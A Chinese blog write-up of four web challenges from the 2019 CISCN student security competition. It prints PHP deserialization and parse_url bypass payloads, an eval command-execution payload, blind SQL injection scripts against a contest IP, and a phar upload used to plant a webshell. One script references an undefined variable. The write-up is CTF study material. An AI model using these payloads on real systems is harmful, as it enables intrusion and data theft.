第十二届全国大学生信息安全竞赛-Web

第一次打国赛,emmm不得不说题目质量真的很高,一题都能卡学长一天,虽然一路跟着学长的思路复现下来,但是收获还是很多的,在这里做个复现的题解

JustSoso

根据源代码给出的提示,知道是先利用LFI读取index.phphint.php的源码

1
2
?file=php://filter/convert.base64-encode/resource=index.php
?file=php://filter/convert.base64-encode/resource=hint.php

index.php文件中,我们可以发现参数$_GET['payload']最后经过反序列化函数的处理,但是在之前将该参数经过parse_url函数的处理后的结果做了正则匹配过滤的处理,但是我们可以绕过parse_url函数,具体参考链接:http://www.am0s.com/functions/406.html

参考链接中提到,parse_url函数在处理///时会返回false

测试代码如下:

我们可以看到,当URI的开头为///时,parse_url是无法解析出URL的相关信息的,返回NULL

在官方文档中对该函数的注释:

1
2
3
Note:

parse_url() 是专门用来解析 URL 而不是 URI 的。不过为遵从 PHP 向后兼容的需要有个例外,对 file:// 协议允许三个斜线(file:///...)。其它任何协议都不能这样。

尽管该函数能解析不完整的URL,但是无法解析除file:///协议外的其他协议,当parse_url解析不出信息时,将返回NULL

如此一来,我们绕过了parse_url函数,即可执行反序列化函数,接下来就是要查看类中的具体信息了,类的信息就在hint.php文件中

我们可以看到两个类HandleFlag,要得到flag,我们只能通过调用Flag类的getFlag()方法执行最后的highlight_file方法,但是,通过一次反序列化对象,我们是无法直接调用到该方法的,所以,只有通过Handle类的魔术方法__destruct,它在对象被销毁是自动调用,__constrct则是对象创建时自动调用,调用__destruct方法后才能调用getFlag()方法,所以Handle类的handle属性,必须是一个Flag对象

另外,我们可以注意到Handle类中还有一个魔术方法__wakeup,这是一个在对象被反序列化时会被自动调用的魔术方法,如果调用了,则会把对象中的所有属性置null,所以__wakeup就是我们必须要绕过的第二个地方,这里具体可以参考:https://mochazz.github.io/2018/12/30/PHP%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96bug/

里面提到了__wakeup魔术方法的一个bug,当我们将object size即类的对象个数改为比原有个数大时,__wakeup方法在对象被反序列化时就不会被调用

测试代码如下:

可以看到,正常情况下的反序列化会调用到__wakeup,将handle属性置null,导致无法执行getFlag方法,另外我们还可以注意到,稀有属性序列化后有特别的属性格式\x00Handle\x00handle

现在我们将对象个数1修改为比1大的数字,将上面代码的测试段修改为:

1
2
$h = $_GET['h'];
unserialize($h);

这里发现反序列化函数出现了报错,这是因为我这里测试的PHP版本为7.0过高的原因,可见这个Bug需要较低的PHP版本,将PHP版本修改为5.4后,再次执行

没有报错,说明成功了,但是这里没有读出内容,是因为要执行getFlag的最后读取文件,还有第三个约束条件

if($this->token === $this->token_flag)

如果按照正常的代码逻辑来看,两个的随机数的md5值是几乎不可能相等的,但是我们可以通过类似指针的原理,让$this->token = &this->token_flag,这样$this->token的值会随着$this->token_flag值的改变而改变,生成最终的Handle对象的代码如下:

序列化后的Handle对象为:O:6:"Handle":2:{s:14:"\x00Handle\x00handle";O:4:"Flag":3:{s:4:"file";s:8:"flag.php";s:5:"token";s:32:"3ba716f4a7265eef381f7cef9e271f27";s:10:"token_flag";R:4;}},再结合前面分析的两个分别绕过__wakeupparse_url

最终payload如下:

1
http://xxx///index.php?file=hint.php&payload=O:6:"Handle":2:{s:14:"\x00Handle\x00handle";O:4:"Flag":3:{s:4:"file";s:8:"flag.php";s:5:"token";s:32:"3ba716f4a7265eef381f7cef9e271f27";s:10:"token_flag";R:4;}}

love_math

在源码中发现calc.php,访问得到源代码,如下:

很明显,看到eval函数,这题考察的是命令执行拿flag,但是$content会先后经过黑白名单的校验并且长度不能大于等于80

黑名单是限制了我们输入的一些特殊字符,白名单则是限制了我们使用的函数

这里限制了我们只能使用数学函数,通过查阅各种数学函数的作用,发现能利用的只有base_convert,它能在2进制到36进制之间进行任意进制的转换,而36进制能表示字符0-9a-z,所以我们可以通过该函数来构造一些简单的函数,例如phpinfo,我们先把它转换成十进制

1
2
echo base_convert('phpinfo', 36, 10);
55490343972

这里大家可能有疑问,为什么一定要转化为十进制数,其实十进制以下都可以,但是十六进制就不行了,因为十六进制中会包含英文字母,而英文字母会在白名单校验中的正则匹配函数匹配到而执行失败

我们还可以执行一些其他命令,例如system('dir')base_convert(1751504350,10,36)(base_convert(17523,10,36))

可以看到目录下存在flag.php文件

但是,单靠一个base_convert函数,我们是无法构建出能读取flag.php文件的函数,因为base_convert函数只能构造出0-9a-z范围内的字符,例如空格,点号,都是无法通过进制转换进行构造的

所以这里想到用php的十六进制转字符串的函数hex2bin,但是该函数只使用与php7.0版本以上,正好该题目环境是7.0以上,所以该函数可以利用,同样用base_convert函数构造hex2binbase_convert(37907361743,10,36),该函数传入的参数必须是十六进制数,又因为十六进制数难免包含字母,这样会被白名单给过滤,所以我们可以再利用一个数学函数dechex,它能将十进制数转换为十六进制数,也就是说,我们可以通过base_convert(37907361743,10,36)(dechex())构造出函数hex2bin(),但是,这里eval语句最前面还有echo,如果构造system(hex2bin()),则需要调用到两次base_convert和一次dechex,而这样比然长度会超过80,所以应该这题要通过其他参数引入的方式来打破字符长度的限制

开始构造多$_GET传参

首先先通过传入的参数$c去定义一个变量,变量的值等于_GET,当然,这里变量名必须是数学函数,所以这里采用最短的pi作为变量名,这是为了尽可能的压缩长度,构造的payload为:$pi=base_convert(37907361743,10,36)(dechex(1598506324))

上图即执行了语句eval('echo $pi=base_convert(37907361743,10,36)(dechex(1598506324));')

接下来,再通过$_GET[]($_GET[])进行多GET执行命令

但是这里黑名单过滤了[],而{}是可以用来代替索引数组的

最终构造的payload如下:

1
c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pow}(($$pi){pi})&pow=system&pi=type%20flag.php

因为比赛环境关了的原因,本地测试采用的windows系统,linux系统将payload中的type改为cat即可

全宇宙最简单的SQL

这题的waf会将|orsleepifbenchmarkcase等字符替换为QwQ

返回的信息有两种:

  • SQL语法错误时,会显示数据库操作失败。例如:username=admin'&password=123
  • SQL语法正确时,如果账号密码不对,会显示登录失败。例如:username=admin&password=123

排除了延时注入,报错注入,布尔注入。本题采用了一种基于语法的盲注,利用逻辑运算符溢出报错来进行注入,这里采用了pow(9999,100),这个表达式的值在MYSQL中已经超出了double范围,会溢出。然后构造以下payload来进行盲注:

1
username=admin' ^ 1 and substr(database(),1,1)='a' and pow(9999,100)#&password=123

在后台构成的SQL查询语句大致就是:

1
select * from user where username='admin' ^ 1 and substr(database(),1,1)='a' and pow(9999,100)# and password='123';

加入异或符号^是为了能够保证,即使admin用户名不存在,异或1的结果后仍然为true,保证能执行到后面的盲注判断语句substr()=''。如果该判断语句为true,则会执行pow(9999,100),产生溢出错误,页面返回的结果便是数据库操作失败;如果该判断语句为false,则不会执行pow(9999,100),返回的结果为登录失败

通过这种盲注,我写了如下脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests

url = "http://39.106.224.151:52105/"
database = ""
s = "0123456789qwertyuiopasdfghjklzxcvbnm!@#$%^&*()QWERTYUIOPASDFGHJKLZXCVBNM"

for i in range(1,50):
for j in s:
data = {
'username':"' ^ 1 and substr(database(),%d,1)='%s' and pow(9999,100)#"%(i,j),
'password':'123'
}
print("checking",j)
r = requests.post(url,data=data)
r.encoding = r.apparent_encoding
if '数据库操作失败' in r.text:
passwd = passwd + j
print("passwd:",passwd)
f = 1
break
if j == 'M' and f == 0:
break
f = 0

注出数据库名:ctf

但是,题目将or替换QwQ,所以我们无法通过正常利用information_schema库来得到表名和列名信息

有篇参考文章:如何在不知道MySQL列名的情况下注入出数据

里面提到了,在无法知道列名的情况下,我们可以通过select 1,2 union select * from user来注出列下的所有内容,我们只需要猜测表名和查询列数即可

所以,构造以下payload即可注出密码字段的内容:

1
username=admin' ^ 1 and substr((select `2` from (select 1,2 union select * from user)a limit 1,1),1,1)='a' and pow(9999,100)#&password=123

脚本内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests

url = "http://39.106.224.151:52105/"
password = ""
s = "0123456789qwertyuiopasdfghjklzxcvbnm!@#$%^&*()QWERTYUIOPASDFGHJKLZXCVBNM"

for i in range(1,50):
for j in s:
data = {
'username':"' ^ 1 and substr((select `2` from (select 1,2 union select * from user)a limit 1,1),%d,1)='%s' and pow(9999,100)#"%(i,j),
'password':'123'
}
print("checking",j)
r = requests.post(url,data=data)
r.encoding = r.apparent_encoding
if '数据库操作失败' in r.text:
password = password + j
print("password:",password)
f = 1
break
if j == 'M' and f == 0:
break
f = 0

最终注出的admin用户的密码f1ag@1s-at_/fll1llag_h3r3

但是仍然无法登陆,后面没有思路便作罢

赛后发现是存在大小写问题,必须在脚本中利用ASCII码进行判断,别的大佬的题解里写出跑出来的结果是F1AG@1s-at_/fll1llag_h3r3,登陆后,发现存在远程连接MySQL的功能,有点类似DDCTF的MYSQL弱口令那道题,一样是要伪造一个MYSQL服务器端来连接最终获取flag,但是由于题目环境关闭了,无法进行复现了,但是这题学习到了一种新型的基于语法的盲注和无法得知列名情况下的注入,收获也还是蛮大的

RefSpace

题目的地址观察得知首先可以利用php伪协议读取源代码,再加上扫描后台以及读取源码中得到的提示,得出了题目的目录结构如下:

1
2
3
4
5
6
7
8
9
10
11
12
➜ html tree
.
├── app
│ ├── flag.php
│ ├── index.php
│ └── Up10aD.php
├── backup.zip
├── flag.txt
├── index.php
├── robots.txt
└── upload
2 directories, 7 files

其中注意到的便是网站有上传文件的功能,app/Up10aD.php源码如下:

分析源码可知,对上传的文件做了类型的检查,根据类型自动加上后缀名jpg或者gif

index.php中,存在文件包含:

但是自动加上了后缀名php

一开始的想法是上传图片马,然后通过截断的方式包含图片马,但是尝试了%000x00文件长度截断,都失败了,原因是该题目的php版本为7.0以上,而上述尝试的截断方式都仅仅适用于php5

所以,尝试了利用phar协议包含文件,具体可以参考:zip或phar协议包含文件

具体方法为,使用phar类打包一个phar标准包

1
2
3
4
5
<?php
$p = new PharData(dirname(__FILE__).'/phartest.zip', 0,'phartest',Phar::ZIP) ;
$x=file_get_contents('./test.php');
$p->addFromString('test.php', $x);
?>

运行后生成phartest.zip压缩包,里面包含了代码为<?php phpinfo(); ?>test.php文件

然后在app/Up10aD.php文件中上传该压缩包,并修改文件名为phartest,文件类型为image/jpeg

这样,上传文件地址就为upload/phartest.jpg,然后访问https://xxx/index.php?route=phar://upload/phartest.jpg/test

即可成功执行phpinfo

同样方法上传一句话木马后getshell也只发现存在flag.txt/ctf/sdk.php

没有其他思路了,只能就此作罢,后面考察的应该是要绕过app/flag.phpsha1比较,才能拿到flag

文章作者: Somnus
文章链接: https://nikoeurus.github.io/2019/04/27/%E7%AC%AC%E5%8D%81%E4%BA%8C%E5%B1%8A%E5%85%A8%E5%9B%BD%E5%A4%A7%E5%AD%A6%E7%94%9F%E4%BF%A1%E6%81%AF%E5%AE%89%E5%85%A8%E7%AB%9E%E8%B5%9B-Web/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Somnus's blog